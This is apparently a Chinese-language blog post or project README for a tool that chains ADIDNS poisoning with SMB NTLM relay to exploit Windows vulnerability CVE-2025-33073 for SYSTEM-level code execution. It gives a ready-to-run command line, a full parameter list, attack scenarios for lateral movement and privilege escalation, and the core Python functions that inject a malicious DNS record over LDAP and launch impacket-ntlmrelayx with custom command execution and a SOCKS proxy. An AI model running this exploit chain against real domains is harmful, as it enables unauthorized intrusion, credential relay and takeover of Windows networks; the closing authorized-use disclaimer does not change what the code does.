揭秘CVE-2025-33073:Windows SMB客户端NTLM中继攻击与ADIDNS投毒利用链

CVE-2025-33073 漏洞利用与ADIDNS投毒攻击链

项目描述

本项目是针对Windows SMB客户端漏洞CVE-2025-33073的利用链研究工具。该漏洞是一个高严重性的身份验证远程代码执行漏洞(CVSS 8.8),允许攻击者在未启用SMB签名的情况下,通过NTLM中继攻击获得SYSTEM级别的代码执行权限。本工具结合了ADIDNS(Active Directory集成DNS)投毒技术,自动化完成DNS记录注入、等待传播和触发SMB NTLM中继的完整攻击流程,用于演示和研究Windows域环境中的横向移动风险。

功能特性

  • 自动化攻击链:整合dnstool.py与impacket-ntlmrelayx,实现一键化攻击流程
  • ADIDNS投毒:通过LDAP协议向Active Directory添加恶意DNS记录
  • 智能等待机制:自动监控DNS记录传播状态,确保投毒成功
  • 灵活的NTLM中继启动:支持在当前终端或新建xterm窗口中启动ntlmrelayx监听器
  • 支持自定义命令执行:可在中继成功时执行指定的系统命令
  • SOCKS代理支持:可选开启SOCKS代理进行进一步的网络渗透

安装指南

系统要求

  • Python 3.x
  • 类Unix操作系统(支持xterm终端)
  • 网络访问权限(可访问目标域控DNS服务器)

依赖安装

项目依赖于以下Python库,可通过pip安装:

bash 复制代码
pip install impacket ldap3 dnspython

工具依赖

确保系统中已安装以下安全工具:

  • impacket套件 :特别是ntlmrelayx工具
  • dig命令 :用于DNS查询测试(通常包含在dnsutils包中)
  • xterm终端:可选,用于在新窗口中运行监听器

配置说明

无需额外配置文件,所有参数通过命令行传递。

使用说明

基本用法

该工具是一个Python脚本,需要提供域用户凭据、攻击者IP、DNS服务器IP和域控FQDN等信息。

bash 复制代码
# 示例:执行完整的攻击链
./exploit_chain.py -u domain_user -p password -a attacker_ip -d dns_server_ip -dc dc.domain.com -t target_machine

参数详解

  • -u, --user:域用户名(格式:DOMAIN\User 或 User)
  • -p, --password:用户密码
  • -a, --attacker-ip:攻击者控制的IP地址(用于DNS记录指向)
  • -d, --dns-ip:目标域DNS服务器IP地址
  • -dc, --dc-fqdn:域控制器的完全限定域名
  • -t, --target:SMB中继的目标机器IP或主机名
  • --timeout:等待DNS传播的超时时间(秒,默认60)
  • --cli-only:仅在当前命令行启动ntlmrelayx,不开新窗口
  • -c, --command:中继成功时执行的自定义系统命令
  • --socks:启用SOCKS代理模式

典型攻击场景

  1. 内部网络横向移动:在已获得一个域用户凭据的情况下,攻击者利用此工具向ADIDNS注入指向其控制服务器的DNS记录,然后诱导目标主机发起SMB连接,通过NTLM中继获得更高权限。
  2. 权限提升:结合其他漏洞或社会工程学,触发域内主机向恶意DNS记录指向的服务器进行身份验证,从而中继该身份验证到域控制器或其他高价值目标。

核心代码

1. DNS记录添加函数

此函数调用外部的dnstool.py脚本,通过LDAP向Active Directory添加一条静态的恶意DNS记录。

python 复制代码
def run_dnstool(user, password, attacker_ip, dns_ip, dc_fqdn):
    """
    使用dnstool.py添加恶意DNS记录到ADIDNS。
    
    参数:
        user: 具有写入ADIDNS权限的域用户
        password: 对应用户的密码
        attacker_ip: 攻击者服务器IP,DNS记录将指向此地址
        dns_ip: 目标域DNS服务器IP
        dc_fqdn: 域控制器的FQDN
    """
    print("[*] Adding malicious DNS record using dnstool.py...")
    dnstool_cmd = [
        "python3", "dnstool.py",
        "-u", user,
        "-p", password,
        "-a", "add",
        "-r", STATIC_DNS_RECORD,  # 预定义的DNS记录名
        "-d", attacker_ip,
        "-dns-ip", dns_ip,
        dc_fqdn
    ]
    subprocess.run(dnstool_cmd, check=True)  # 执行dnstool命令
    print("[+] DNS record added.")

2. DNS传播等待函数

该函数循环查询DNS服务器,确认注入的恶意记录已成功传播并生效。

python 复制代码
def wait_for_dns_record(record, dns_ip, timeout=60):
    """
    等待指定的DNS记录在目标DNS服务器上生效。
    
    参数:
        record: 要查询的DNS记录名称
        dns_ip: 目标DNS服务器IP
        timeout: 超时时间(秒)
    
    返回:
        bool: 成功解析到记录返回True,否则返回False
    """
    timeout = int(timeout)
    print(f"[*] Waiting for DNS record {record} to propagate...")
    start_time = time.time()
    while time.time() - start_time < timeout:
        try:
            # 使用dig命令查询DNS记录
            result = subprocess.run(
                ["dig", "+short", record, f"@{dns_ip}"],
                capture_output=True, text=True
            )
            if result.stdout.strip():  # 如果查询结果非空
                print("[+] DNS record is live.")
                return True
        except Exception as e:
            print(f"[!] Error checking DNS record: {e}")
        time.sleep(2)  # 每2秒检查一次
    print("[!] Timeout reached. DNS record not found.")
    return False

3. NTLM中继启动函数

根据用户选择,在当前终端或新建的xterm窗口中启动impacket的ntlmrelayx监听器。

python 复制代码
def start_ntlmrelayx(target, cli_only=False, custom_command=None, socks=False):
    """
    启动impacket-ntlmrelayx进行SMB NTLM中继监听。
    
    参数:
        target: 中继目标(如域控制器)
        cli_only: 为True则在当前终端启动,否则开新xterm窗口
        custom_command: 中继成功后执行的命令
        socks: 是否启用SOCKS代理模式
    """
    if cli_only:
        print("[*] Starting ntlmrelayx listener in this terminal...")
        # 构建基本命令
        if custom_command:
            cmd = ["impacket-ntlmrelayx", "-t", target, "-smb2support", "-c", custom_command]
        else:
            cmd = ["impacket-ntlmrelayx", "-t", target, "-smb2support"]
        if socks:
            cmd.append("-socks")  # 添加SOCKS代理选项
        return subprocess.Popen(cmd)  # 启动子进程
    else:
        print("[*] Starting ntlmrelayx listener in a new xterm...")
        # 在xterm中启动,保持窗口打开
        if custom_command:
            cmd = ["xterm", "-hold", "-e", "impacket-ntlmrelayx", "-t", target, "-smb2support", "-c", custom_command]
        else:
            cmd = ["xterm", "-hold", "-e", "impacket-ntlmrelayx", "-t", target, "-smb2support"]
        if socks:
            cmd.insert(-1, "-socks")  # 在命令末尾前插入SOCKS选项
        return subprocess.Popen(cmd)

4. ADIDNS工具核心交互代码(节选自dnstool.py

此部分代码展示了如何通过LDAP协议与Active Directory DNS区域进行交互。

python 复制代码
def add_dns_record(connection, record_name, record_data, dnsserver):
    """
    通过LDAP向ADIDNS添加一条DNS记录。
    
    参数:
        connection: 已建立的LDAP连接
        record_name: 要添加的记录名称
        record_data: 记录数据(如IP地址)
        dnsserver: DNS服务器对象
    """
    # 构建DNS节点的可分辨名称(DN)
    dnsroot = dnsserver.get_dns_root()
    container = 'DC=' + record_name + ',' + dnsroot
    
    # 创建dnsNode对象并设置属性
    dns_record = ldaptypes.DNS_RECORD()
    dns_record['Data'] = record_data
    dns_record['Type'] = 1  # A记录类型
    
    # 准备要添加的属性
    attributes = {
        'objectClass': ['top', 'dnsNode'],
        'dnsRecord': [dns_record.getData()],
        'dNSTombstoned': False
    }
    
    # 执行LDAP添加操作
    connection.add(container, attributes=attributes)
    print_o(f"Successfully added record {record_name}")

漏洞关键信息(CVE-2025-33073)

markdown 复制代码
## 漏洞详情
- **CVE ID**: CVE-2025-33073
- **CVSS评分**: 8.8 (High)
- **影响范围**: Windows 10, 11, Server 2012--2025
- **攻击向量**: 网络(需身份验证)
- **影响**: SYSTEM级别代码执行
- **关键特性**: 绕过NTLM反射缓解措施

注意:本工具仅用于授权的安全测试、教育和研究目的。未经授权对他人系统进行测试是非法的。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAOCkEtiS8C/LxH9i/qwckdE

相关推荐
FreeCode1 天前
一文精通Agentic AI设计
人工智能·agent·ai编程
Blossom.1181 天前
强化学习推荐系统实战:从DQN到PPO的演进与落地
人工智能·python·深度学习·算法·机器学习·chatgpt·自动化
肥猪猪爸1 天前
Langchain实现ReAct Agent多变量工具调用
人工智能·神经网络·机器学习·自然语言处理·langchain·大模型·transformer
AI科技星1 天前
引力场与磁场的几何统一:磁矢势方程的第一性原理推导、验证与诠释
数据结构·人工智能·经验分享·线性代数·算法·计算机视觉·概率论
shayudiandian1 天前
AI写作助手测评大会
人工智能·chatgpt·ai写作
明明如月学长1 天前
深度揭秘:为什么顶尖开发者都开始在终端用 Claude Code 写代码?
人工智能
Debroon1 天前
openCHA: 个性化LLM驱动的对话健康代理框架
人工智能
心动啊1211 天前
了解语音识别模型Whisper
人工智能·whisper·语音识别
avi91111 天前
python大模型训练(一)如何查看工具package版本
python·aigc